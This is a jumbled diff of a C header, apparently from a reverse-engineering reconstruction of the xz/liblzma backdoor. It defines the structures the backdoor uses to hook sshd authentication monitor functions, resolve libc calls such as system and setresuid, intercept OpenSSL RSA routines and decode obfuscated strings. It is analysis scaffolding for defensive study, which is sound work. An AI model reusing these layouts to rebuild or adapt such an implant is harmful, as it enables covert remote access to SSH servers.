457  STR_LD_BIND_NOT = 0xbc0,
-
458  STR_LD_DEBUG = 0xa90,
-
459  STR_LD_PROFILE = 0xb98,
-
460  STR_LD_USE_LOAD_BIAS = 0x3e0,
-
461  STR_LINES = 0xa88,
-
462  STR_RSA_free = 0xac0,
-
463  STR_RSA_get0_key = 0x798,
-
464  STR_RSA_new = 0x918,
-
465  STR_RSA_public_decrypt = 0x1d0,
-
466  STR_RSA_set0_key = 0x540,
-
467  STR_RSA_sign = 0x8f8,
-
468  STR_SSH_2_0 = 0x990,
-
469  STR_TERM = 0x4a8,
-
470  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
-
471  STR_WAYLAND_DISPLAY = 0x158,
-
472  STR_errno_location = 0x878,
-
473  STR_libc_stack_end = 0x2b0,
-
474  STR_libc_start_main = 0x228,
-
475  STR_dl_audit_preinit = 0xa60,
-
476  STR_dl_audit_symbind_alt = 0x9c8,
-
477  STR_exit = 0x8a8,
-
478  STR_r_debug = 0x5b0,
-
479  STR_rtld_global = 0x5b8,
-
480  STR_rtld_global_ro = 0xa98,
-
481  STR_auth_root_allowed = 0xb8,
-
482  STR_authenticating = 0x1d8,
-
483  STR_demote_sensitive_data = 0x28,
-
484  STR_getuid = 0x348,
-
485  STR_ld_linux_x86_64_so = 0xa48,
-
486  STR_libc_so = 0x7d0,
-
487  STR_libcrypto_so = 0x7c0,
-
488  STR_liblzma_so = 0x590,
-
489  STR_libsystemd_so = 0x938,
-
490  STR_list_hostkey_types = 0x20,
-
491  STR_malloc_usable_size = 0x440,
-
492  STR_mm_answer_authpassword = 0xc0,
-
493  STR_mm_answer_keyallowed = 0xc8,
-
494  STR_mm_answer_keyverify = 0xd0,
-
495  STR_mm_answer_pam_start = 0x948,
-
496  STR_mm_choose_dh = 0x78,
-
497  STR_mm_do_pam_account = 0x40,
-
498  STR_mm_getpwnamallow = 0x50,
-
499  STR_mm_log_handler = 0xa8,
-
500  STR_mm_pty_allocate = 0x38,
-
501  STR_mm_request_send = 0xa0,
-
502  STR_mm_session_pty_cleanup2 = 0x48,
-
503  STR_mm_sshpam_free_ctx = 0x70,
-
504  STR_mm_sshpam_init_ctx = 0x58,
-
505  STR_mm_sshpam_query = 0x60,
-
506  STR_mm_sshpam_respond = 0x68,
-
507  STR_mm_terminate = 0x30,
-
508  STR_parse_PAM = 0xc58,
-
509  STR_password = 0x400,
-
510  STR_preauth = 0x4f0,
-
511  STR_pselect = 0x690,
-
512  STR_publickey = 0x7b8,
-
513  STR_read = 0x308,
-
514  STR_rsa_sha2_256 = 0x710,
-
515  STR_setlogmask = 0x428,
-
516  STR_setresgid = 0x5f0,
-
517  STR_setresuid = 0xab8,
-
518  STR_shutdown = 0x760,
-
519  STR_ssh_2_0 = 0xd08,
-
520  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
-
521  STR_sshpam_auth_passwd = 0x88,
-
522  STR_sshpam_query = 0x90,
-
523  STR_sshpam_respond = 0x80,
-
524  STR_start_pam = 0x98,
-
525  STR_system = 0x9f8,
-
526  STR_unknown = 0x198,
-
527  STR_user = 0xb10,
-
528  STR_write = 0x380,
-
529  STR_xcalloc_zero_size = 0x10,
-
530  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
531  STR_ELF = 0x300,
-
532 } EncodedStringId;
-
533 
-
534 #ifndef XZRE_SLIM
-
535 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
536 #else
-
537 #define assert_offset(t, f, o)
-
538 #endif
-
539 
-
540 #define CONCAT(x, y) x ## y
-
541 #define EXPAND(x, y) CONCAT(x, y)
-
542 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
543 
-
544 struct sshbuf;
-
545 struct kex;
-
546 
-
547 /* permit_root_login */
-
548 #define PERMIT_NOT_SET -1
-
549 #define PERMIT_NO 0
-
550 #define PERMIT_FORCED_ONLY 1
-
551 #define PERMIT_NO_PASSWD 2
-
552 #define PERMIT_YES 3
-
553 
-
557 struct monitor {
-
558  int m_recvfd;
-
559  int m_sendfd;
-
560  int m_log_recvfd;
-
561  int m_log_sendfd;
-
562  struct kex **m_pkex;
-
563  pid_t m_pid;
-
564 };
-
565 
-
569 struct sensitive_data {
-
570  struct sshkey **host_keys; /* all private host keys */
-
571  struct sshkey **host_pubkeys; /* all public host keys */
-
572  struct sshkey **host_certificates; /* all public host certificates */
-
573  int have_ssh2_key;
-
574 };
-
575 
-
580 struct sshkey {
-
581  int type;
-
582  int flags;
-
583  /* KEY_RSA */
-
584  RSA *rsa;
-
585  /* KEY_DSA */
-
586  DSA *dsa;
-
587  /* KEY_ECDSA and KEY_ECDSA_SK */
-
588  int ecdsa_nid; /* NID of curve */
-
589  EC_KEY *ecdsa;
-
590  /* KEY_ED25519 and KEY_ED25519_SK */
-
591  u8 *ed25519_sk;
-
592  u8 *ed25519_pk;
-
593  /* KEY_XMSS */
-
594  char *xmss_name;
-
595  char *xmss_filename; /* for state file updates */
-
596  void *xmss_state; /* depends on xmss_name, opaque */
-
597  u8 *xmss_sk;
-
598  u8 *xmss_pk;
-
599  /* KEY_ECDSA_SK and KEY_ED25519_SK */
-
600  char sk_application;
-
601  u8 sk_flags;
-
602  struct sshbuf *sk_key_handle;
-
603  struct sshbuf *sk_reserved;
-
604  /* Certificates */
-
605  struct sshkey_cert *cert;
-
606  /* Private key shielding */
-
607  u8 *shielded_private;
-
608  size_t shielded_len;
-
609  u8 *shield_prekey;
-
610  size_t shield_prekey_len;
-
611 };
-
612 
-
613 typedef struct __attribute__((packed)) got_ctx {
-
617  void *got_ptr;
-
624  void *return_address;
-
628  void *cpuid_fn;
-
633  ptrdiff_t got_offset;
-
634 } got_ctx_t;
-
635 
-
636 assert_offset(got_ctx_t, got_ptr, 0);
-
637 assert_offset(got_ctx_t, return_address, 0x8);
-
638 assert_offset(got_ctx_t, cpuid_fn, 0x10);
-
639 assert_offset(got_ctx_t, got_offset, 0x18);
-
640 static_assert(sizeof(got_ctx_t) == 0x20);
-
641 
-
642 typedef struct __attribute__((packed)) elf_entry_ctx {
-
647  void *symbol_ptr;
-
648  got_ctx_t got_ctx;
-
652  u64 *frame_address;
-
653 } elf_entry_ctx_t;
-
654 
-
655 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
-
656 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
-
657 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
-
658 
-
659 typedef struct __attribute__((packed)) dasm_ctx {
-
660  u8* instruction;
-
661  u64 instruction_size;
-
662  union {
-
663  struct __attribute__((packed)) {
-
667  u8 flags;
-
671  u8 flags2;
-
672  PADDING(2);
-
673  u8 lock_rep_byte;
-
674  u8 seg_byte;
-
675  u8 osize_byte;
-
676  u8 asize_byte;
-
677  u8 vex_byte;
-
678  u8 vex_byte2;
-
679  u8 vex_byte3;
-
680  u8 rex_byte;
-
681  union {
-
682  struct __attribute__((packed)) {
-
683  u8 modrm;
-
684  u8 modrm_mod;
-
685  u8 modrm_reg;
-
686  u8 modrm_rm;
-
687  };
-
688  u32 modrm_word;
-
689  };
-
690  };
-
691  u16 flags_u16;
-
692  };
-
693  u8 imm64_reg; // low 3 bits only
-
694  struct __attribute__((packed)) {
-
695  union {
-
696  struct __attribute__((packed)) {
-
697  u8 sib;
-
698  u8 sib_scale;
-
699  u8 sib_index;
-
700  u8 sib_base;
-
701  };
-
702  u32 sib_word;
-
703  };
-
704  };
-
705  PADDING(3);
-
706  u32 opcode;
-
707  PADDING(4);
-
708  u64 mem_disp;
-
709  // e.g. in CALL
-
710  u64 operand;
-
711  u64 operand_zeroextended;
-
712  u64 operand_size;
-
713  u8 insn_offset;
-
714  PADDING(7);
-
715 } dasm_ctx_t;
-
716 
-
717 assert_offset(dasm_ctx_t, instruction, 0);
-
718 assert_offset(dasm_ctx_t, instruction_size, 8);
-
719 assert_offset(dasm_ctx_t, flags, 0x10);
-
720 assert_offset(dasm_ctx_t, flags2, 0x11);
-
721 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
-
722 assert_offset(dasm_ctx_t, seg_byte, 0x15);
-
723 assert_offset(dasm_ctx_t, osize_byte, 0x16);
-
724 assert_offset(dasm_ctx_t, asize_byte, 0x17);
-
725 assert_offset(dasm_ctx_t, vex_byte, 0x18);
-
726 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
-
727 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
-
728 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
-
729 assert_offset(dasm_ctx_t, modrm, 0x1C);
-
730 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
-
731 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
-
732 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
-
733 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
-
734 assert_offset(dasm_ctx_t, sib, 0x21);
-
735 assert_offset(dasm_ctx_t, sib_scale, 0x22);
-
736 assert_offset(dasm_ctx_t, sib_index, 0x23);
-
737 assert_offset(dasm_ctx_t, sib_base, 0x24);
-
738 assert_offset(dasm_ctx_t, opcode, 0x28);
-
739 assert_offset(dasm_ctx_t, mem_disp, 0x30);
-
740 assert_offset(dasm_ctx_t, operand, 0x38);
-
741 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
-
742 assert_offset(dasm_ctx_t, operand_size, 0x48);
-
743 assert_offset(dasm_ctx_t, insn_offset, 0x50);
-
744 static_assert(sizeof(dasm_ctx_t) == 0x58);
-
745 
-
746 typedef struct __attribute__((packed)) elf_info {
-
750  Elf64_Ehdr *elfbase;
-
754  u64 first_vaddr;
-
758  Elf64_Phdr *phdrs;
-
762  u64 e_phnum;
-
766  Elf64_Dyn *dyn;
-
770  u64 dyn_num_entries;
-
774  char *strtab;
-
778  Elf64_Sym *symtab;
-
782  Elf64_Rela *plt_relocs;
-
786  u32 plt_relocs_num;
-
792  BOOL gnurelro_found;
-
796  u64 gnurelro_vaddr;
-
800  u64 gnurelro_memsize;
-
804  Elf64_Verdef *verdef;
-
808  u64 verdef_num;
-
809  Elf64_Versym *versym;
-
810  Elf64_Rela *rela_relocs;
-
811  u32 rela_relocs_num;
-
812  u32 _unused0;
-
813  Elf64_Relr *relr_relocs;
-
814  u32 relr_relocs_num;
-
815  PADDING(4);
-
820  u64 code_segment_start;
-
825  u64 code_segment_size;
-
826 
-
827  u64 rodata_segment_start;
-
828  u64 rodata_segment_size;
-
829  u64 data_segment_start;
-
830  u64 data_segment_size;
-
831  u64 data_segment_alignment;
-
832 
-
833  u8 flags;
-
834  PADDING(7);
-
838  u32 gnu_hash_nbuckets;
-
842  u32 gnu_hash_last_bloom;
-
843  u32 gnu_hash_bloom_shift;
-
844  PADDING(4);
-
845  u64 *gnu_hash_bloom;
-
846  u32 *gnu_hash_buckets;
-
847  u32 *gnu_hash_chain;
-
848 } elf_info_t;
-
849 
-
850 assert_offset(elf_info_t, elfbase, 0x0);
-
851 assert_offset(elf_info_t, first_vaddr, 0x8);
-
852 assert_offset(elf_info_t, phdrs, 0x10);
-
853 assert_offset(elf_info_t, e_phnum, 0x18);
-
854 assert_offset(elf_info_t, dyn, 0x20);
-
855 assert_offset(elf_info_t, dyn_num_entries, 0x28);
-
856 assert_offset(elf_info_t, strtab, 0x30);
-
857 assert_offset(elf_info_t, symtab, 0x38);
-
858 assert_offset(elf_info_t, plt_relocs, 0x40);
-
859 assert_offset(elf_info_t, plt_relocs_num, 0x48);
-
860 assert_offset(elf_info_t, gnurelro_found, 0x4C);
-
861 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
-
862 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
-
863 assert_offset(elf_info_t, verdef, 0x60);
-
864 assert_offset(elf_info_t, verdef_num, 0x68);
-
865 assert_offset(elf_info_t, versym, 0x70);
-
866 assert_offset(elf_info_t, rela_relocs, 0x78);
-
867 assert_offset(elf_info_t, rela_relocs_num, 0x80);
-
868 assert_offset(elf_info_t, relr_relocs, 0x88);
-
869 assert_offset(elf_info_t, relr_relocs_num, 0x90);
-
870 assert_offset(elf_info_t, code_segment_start, 0x98);
-
871 assert_offset(elf_info_t, code_segment_size, 0xA0);
-
872 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
-
873 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
-
874 assert_offset(elf_info_t, data_segment_start, 0xB8);
-
875 assert_offset(elf_info_t, data_segment_size, 0xC0);
-
876 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
-
877 assert_offset(elf_info_t, flags, 0xD0);
-
878 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
-
879 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
-
880 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
-
881 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
-
882 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
-
883 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
-
884 static_assert(sizeof(elf_info_t) == 0x100);
-
885 
-
886 typedef struct __attribute__((packed)) libc_imports {
-
887  u32 resolved_imports_count;
-
888  PADDING(4);
-
889  size_t (*malloc_usable_size)(void *ptr);
-
890  uid_t (*getuid)(void);
-
891  void (*exit)(int status);
-
892  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
-
893  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
-
894  int (*system)(const char *command);
-
895  ssize_t (*write)(int fd, const void *buf, size_t count);
-
896  int (*pselect)(
-
897  int nfds, fd_set *readfds, fd_set *writefds,
-
898  fd_set *exceptfds, const struct timespec *timeout,
-
899  const sigset_t *sigmask);
-
900  ssize_t (*read)(int fd, void *buf, size_t count);
-
901  int *(*__errno_location)(void);
-
902  int (*setlogmask)(int mask);
-
903  int (*shutdown)(int sockfd, int how);
-
904  void *__libc_stack_end;
-
905 } libc_imports_t;
-
906 
-
907 assert_offset(libc_imports_t, resolved_imports_count, 0);
-
908 assert_offset(libc_imports_t, malloc_usable_size, 8);
-
909 assert_offset(libc_imports_t, getuid, 0x10);
-
910 assert_offset(libc_imports_t, exit, 0x18);
-
911 assert_offset(libc_imports_t, setresgid, 0x20);
-
912 assert_offset(libc_imports_t, setresuid, 0x28);
-
913 assert_offset(libc_imports_t, system, 0x30);
-
914 assert_offset(libc_imports_t, write, 0x38);
-
915 assert_offset(libc_imports_t, pselect, 0x40);
-
916 assert_offset(libc_imports_t, read, 0x48);
-
917 assert_offset(libc_imports_t, __errno_location, 0x50);
-
918 assert_offset(libc_imports_t, setlogmask, 0x58);
-
919 assert_offset(libc_imports_t, shutdown, 0x60);
-
920 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
-
921 static_assert(sizeof(libc_imports_t) == 0x70);
-
922 
-
923 typedef int (*pfn_RSA_public_decrypt_t)(
-
924  int flen, unsigned char *from, unsigned char *to,
-
925  RSA *rsa, int padding);
-
926 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
-
927 typedef void (*pfn_RSA_get0_key_t)(
-
928  const RSA *r,
-
929  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
-
930 
-
931 typedef struct __attribute__((packed)) imported_funcs {
-
932  pfn_RSA_public_decrypt_t RSA_public_decrypt;
-
933  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
934  // ???
-
935  void (*RSA_get0_key_null)(
-
936  const RSA *r, const BIGNUM **n,
-
937  const BIGNUM **e, const BIGNUM **d);
-
942  void *RSA_public_decrypt_plt;
-
947  void *EVP_PKEY_set1_RSA_plt;
-
952  void *RSA_get0_key_plt;
-
953  void (*DSA_get0_pqg)(
-
954  const DSA *d, const BIGNUM **p,
-
955  const BIGNUM **q, const BIGNUM **g);
-
956  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
-
957  size_t (*EC_POINT_point2oct)(
-
958  const EC_GROUP *group, const EC_POINT *p,
-
959  point_conversion_form_t form, unsigned char *buf,
-
960  size_t len, BN_CTX *ctx);
-
961  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
-
962  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
-
963  EVP_MD *(*EVP_sha256)(void);
-
964  pfn_RSA_get0_key_t RSA_get0_key;
-
965  int (*BN_num_bits)(const BIGNUM *a);
-
966  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
-
967  int type, ENGINE *e,
-
968  const unsigned char *key, size_t keylen);
-
969  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
-
970  int (*EVP_DigestVerifyInit)(
-
971  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
-
972  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
-
973  int (*EVP_DigestVerify)(
-
974  EVP_MD_CTX *ctx, const unsigned char *sig,
-
975  size_t siglen, const unsigned char *tbs, size_t tbslen);
-
976  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
-
977  void (*EVP_PKEY_free)(EVP_PKEY *key);
-
978  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
-
979  int (*EVP_DecryptInit_ex)(
-
980  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
-
981  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
-
982  int (*EVP_DecryptUpdate)(
-
983  EVP_CIPHER_CTX *ctx, unsigned char *out,
-
984  int *outl, const unsigned char *in, int inl);
-
985  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
-
986  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
-
987  const EVP_CIPHER *(*EVP_chacha20)(void);
-
988  RSA *(*RSA_new)(void);
-
989  BIGNUM *(*BN_dup)(const BIGNUM *from);
-
990  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
-
991  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
992  int (*EVP_Digest)(
-
993  const void *data, size_t count, unsigned char *md,
-
994  unsigned int *size, const EVP_MD *type, ENGINE *impl);
-
995  int (*RSA_sign)(
-
996  int type,
-
997  const unsigned char *m, unsigned int m_len,
-
998  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
-
999  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
-
1000  void (*RSA_free)(RSA *rsa);
-
1001  void (*BN_free)(BIGNUM *a);
-
1002  libc_imports_t *libc;
-
1003  u64 resolved_imports_count;
-
1004 } imported_funcs_t;
-
1005 
-
1006 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
-
1007 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
-
1008 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
-
1009 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
-
1010 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
-
1011 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
-
1012 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
-
1013 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
-
1014 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
-
1015 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
-
1016 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
-
1017 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
-
1018 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
-
1019 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
-
1020 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
-
1021 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
-
1022 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
-
1023 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
-
1024 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
-
1025 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
-
1026 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
-
1027 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
-
1028 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
-
1029 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
-
1030 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
-
1031 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
-
1032 assert_offset(imported_funcs_t, RSA_new, 0xD0);
-
1033 assert_offset(imported_funcs_t, BN_dup, 0xD8);
-
1034 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
-
1035 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
-
1036 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
-
1037 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
-
1038 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
-
1039 assert_offset(imported_funcs_t, RSA_free, 0x108);
-
1040 assert_offset(imported_funcs_t, BN_free, 0x110);
-
1041 assert_offset(imported_funcs_t, libc, 0x118);
-
1042 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
-
1043 static_assert(sizeof(imported_funcs_t) == 0x128);
-
1044 
-
1045 struct ssh;
-
1046 struct sshbuf;
-
1047 
-
1048 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
-
1049 
-
1050 typedef struct __attribute__((packed)) sshd_ctx {
-
1051  BOOL have_mm_answer_keyallowed;
-
1052  BOOL have_mm_answer_authpassword;
-
1053  BOOL have_mm_answer_keyverify;
-
1054  PADDING(0x4);
-
1055  sshd_monitor_func_t mm_answer_authpassword_hook;
-
1056  void *mm_answer_keyallowed;
-
1057  void *mm_answer_keyverify;
-
1058  void *mm_answer_authpassword_start;
-
1059  void *mm_answer_authpassword_end;
-
1060  sshd_monitor_func_t *mm_answer_authpassword_ptr;
-
1061  int monitor_reqtype_authpassword;
-
1062  PADDING(4);
-
1063  void *mm_answer_keyallowed_start;
-
1064  void *mm_answer_keyallowed_end;
-
1065  void *mm_answer_keyallowed_ptr;
-
1066  u32 mm_answer_keyallowed_reqtype;
-
1067  PADDING(4);
-
1068  void *mm_answer_keyverify_start;
-
1069  void *mm_answer_keyverify_end;
-
1070  void *mm_answer_keyverify_ptr;
-
1071  PADDING(0x4);
-
1072  u16 writebuf_size;
-
1073  PADDING(0x2);
-
1074  u8 *writebuf;
-
1075  PADDING(0x8);
+
266 
+
268 typedef struct {
+
270  uint32_t state[8];
+
271 
+
273  uint64_t size;
+
274 } lzma_sha256_state;
+
275 
+
280 typedef struct {
+
282  uint8_t buffer[64];
+
283 
+
285  union {
+
286  uint32_t crc32;
+
287  uint64_t crc64;
+
288  lzma_sha256_state sha256;
+
289  } state;
+
290 
+
291 } lzma_check_state;
+
292 
+
293 #define CHACHA20_KEY_SIZE 32
+
294 #define CHACHA20_IV_SIZE 16
+
295 #define SHA256_DIGEST_SIZE 32
+
296 #define ED448_KEY_SIZE 57
+
297 #define ED448_SIGNATURE_SIZE 114
+
298 
+
299 #define X_BN_num_bytes(bits) (((bits)+7)/8)
+
300 
+
301 // opcode is always +0x80 for the sake of it (yet another obfuscation)
+
302 #define XZDASM_OPC(op) (op - 0x80)
+
303 
+
304 typedef int BOOL;
+
305 
+
306 #define TRUE 1
+
307 #define FALSE 0
+
308 
+
309 typedef enum {
+
310  // has lock or rep prefix
+
311  DF_LOCK_REP = 1,
+
312  // has segment override
+
313  DF_SEG = 2,
+
314  // has operand size override
+
315  DF_OSIZE = 4,
+
316  // has address size override
+
317  DF_ASIZE = 8,
+
318  // vex instruction
+
319  DF_VEX = 0x10,
+
320  // has rex
+
321  DF_REX = 0x20,
+
322  // has modrm
+
323  DF_MODRM = 0x40,
+
324  // has sib
+
325  DF_SIB = 0x80
+
326 } InstructionFlags;
+
327 
+
328 typedef enum {
+
329  // memory with displacement
+
330  DF_MEM_DISP = 0x1,
+
331  // 8-bit displacement
+
332  DF_MEM_DISP8 = 0x2,
+
333  // memory seg+offs (0xa0-0xa3)
+
334  DF_MEM_SEG_OFFS = 0x4,
+
335  // has immediate
+
336  DF_IMM = 0x8,
+
337  // 64-bit immediate (movabs)
+
338  DF_IMM64 = 0x10
+
339 } InstructionFlags2;
+
340 
+
341 typedef enum {
+
342  // ELF has JMPREL relocs
+
343  X_ELF_PLTREL = 0x1,
+
344  // ELF has RELA relocs
+
345  X_ELF_RELA = 0x2,
+
346  // ELF has RELR relocs
+
347  X_ELF_RELR = 0x4,
+
348  // ELF has DT_VERDEF
+
349  X_ELF_VERDEF = 0x8,
+
350  // ELF has DT_VERSYM
+
351  X_ELF_VERSYM = 0x10,
+
352  // ELF has DF_1_NOW
+
353  X_ELF_NOW = 0x20
+
354 } ElfFlags;
+
355 
+
356 typedef enum {
+
357  // register-indirect addressing or no displacement
+
358  MRM_I_REG, // 00
+
359  // indirect with one byte displacement
+
360  MRM_I_DISP1, // 01
+
361  // indirect with four byte displacement
+
362  MRM_I_DISP4, // 10
+
363  // direct-register addressing
+
364  MRM_D_REG // 11
+
365 } ModRm_Mod;
+
366 
+
367 typedef enum {
+
368  // find function beginning by looking for endbr64
+
369  FIND_ENDBR64,
+
370  // find function beginning by looking for padding,
+
371  // then getting the instruction after it
+
372  FIND_NOP
+
373 } FuncFindType;
+
374 
+
375 typedef enum {
+
380  X_ELF_MAIN = 0,
+
381  X_ELF_DYNAMIC_LINKER = 1,
+
382  X_ELF_LIBC = 2,
+
383  X_ELF_LIBCRYPTO = 3
+
384 } ElfId;
+
385 
+
386 typedef enum {
+
387  XREF_xcalloc_zero_size = 0,
+
388  XREF_Could_not_chdir_to_home_directory_s_s = 1,
+
389  XREF_list_hostkey_types = 2,
+
390  XREF_demote_sensitive_data = 3,
+
391  XREF_mm_terminate = 4,
+
392  XREF_mm_pty_allocate = 5,
+
393  XREF_mm_do_pam_account = 6,
+
394  XREF_mm_session_pty_cleanup2 = 7,
+
395  XREF_mm_getpwnamallow = 8,
+
396  XREF_mm_sshpam_init_ctx = 9,
+
397  XREF_mm_sshpam_query = 10,
+
398  XREF_mm_sshpam_respond = 11,
+
399  XREF_mm_sshpam_free_ctx = 12,
+
400  XREF_mm_choose_dh = 13,
+
401  XREF_sshpam_respond = 14,
+
402  XREF_sshpam_auth_passwd = 15,
+
403  XREF_sshpam_query = 16,
+
404  XREF_start_pam = 17,
+
405  XREF_mm_request_send = 18,
+
406  XREF_mm_log_handler = 19,
+
407  XREF_Could_not_get_agent_socket = 20,
+
408  XREF_auth_root_allowed = 21,
+
409  XREF_mm_answer_authpassword = 22,
+
410  XREF_mm_answer_keyallowed = 23,
+
411  XREF_mm_answer_keyverify = 24,
+
412  XREF_48s_48s_d_pid_ld_ = 25,
+
413  XREF_Unrecognized_internal_syslog_level_code_d = 26
+
414 } StringXrefId;
+
415 
+
416 typedef enum {
+
417  STR_from = 0x810,
+
418  STR_ssh2 = 0x678,
+
419  STR_48s_48s_d_pid_ld_ = 0xd8,
+
420  STR_s = 0x708,
+
421  STR_usr_sbin_sshd = 0x108,
+
422  STR_Accepted_password_for = 0x870,
+
423  STR_Accepted_publickey_for = 0x1a0,
+
424  STR_BN_bin2bn = 0xc40,
+
425  STR_BN_bn2bin = 0x6d0,
+
426  STR_BN_dup = 0x958,
+
427  STR_BN_free = 0x418,
+
428  STR_BN_num_bits = 0x4e0,
+
429  STR_Connection_closed_by = 0x790,
+
430  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+
431  STR_Could_not_get_agent_socket = 0xb0,
+
432  STR_DISPLAY = 0x960,
+
433  STR_DSA_get0_pqg = 0x9d0,
+
434  STR_DSA_get0_pub_key = 0x468,
+
435  STR_EC_KEY_get0_group = 0x7e8,
+
436  STR_EC_KEY_get0_public_key = 0x268,
+
437  STR_EC_POINT_point2oct = 0x6e0,
+
438  STR_EVP_CIPHER_CTX_free = 0xb28,
+
439  STR_EVP_CIPHER_CTX_new = 0x838,
+
440  STR_EVP_DecryptFinal_ex = 0x2a8,
+
441  STR_EVP_DecryptInit_ex = 0xc08,
+
442  STR_EVP_DecryptUpdate = 0x3f0,
+
443  STR_EVP_Digest = 0xf8,
+
444  STR_EVP_DigestVerify = 0x408,
+
445  STR_EVP_DigestVerifyInit = 0x118,
+
446  STR_EVP_MD_CTX_free = 0xd10,
+
447  STR_EVP_MD_CTX_new = 0xaf8,
+
448  STR_EVP_PKEY_free = 0x6f8,
+
449  STR_EVP_PKEY_new_raw_public_key = 0x758,
+
450  STR_EVP_PKEY_set1_RSA = 0x510,
+
451  STR_EVP_chacha20 = 0xc28,
+
452  STR_EVP_sha256 = 0xc60,
+
453  STR_EVP_sm = 0x188,
+
454  STR_GLIBC_2_2_5 = 0x8c0,
+
455  STR_GLRO_dl_naudit_naudit = 0x6a8,
+
456  STR_KRB5CCNAME = 0x1e0,
+
457  STR_LD_AUDIT = 0xcf0,
+
458  STR_LD_BIND_NOT = 0xbc0,
+
459  STR_LD_DEBUG = 0xa90,
+
460  STR_LD_PROFILE = 0xb98,
+
461  STR_LD_USE_LOAD_BIAS = 0x3e0,
+
462  STR_LINES = 0xa88,
+
463  STR_RSA_free = 0xac0,
+
464  STR_RSA_get0_key = 0x798,
+
465  STR_RSA_new = 0x918,
+
466  STR_RSA_public_decrypt = 0x1d0,
+
467  STR_RSA_set0_key = 0x540,
+
468  STR_RSA_sign = 0x8f8,
+
469  STR_SSH_2_0 = 0x990,
+
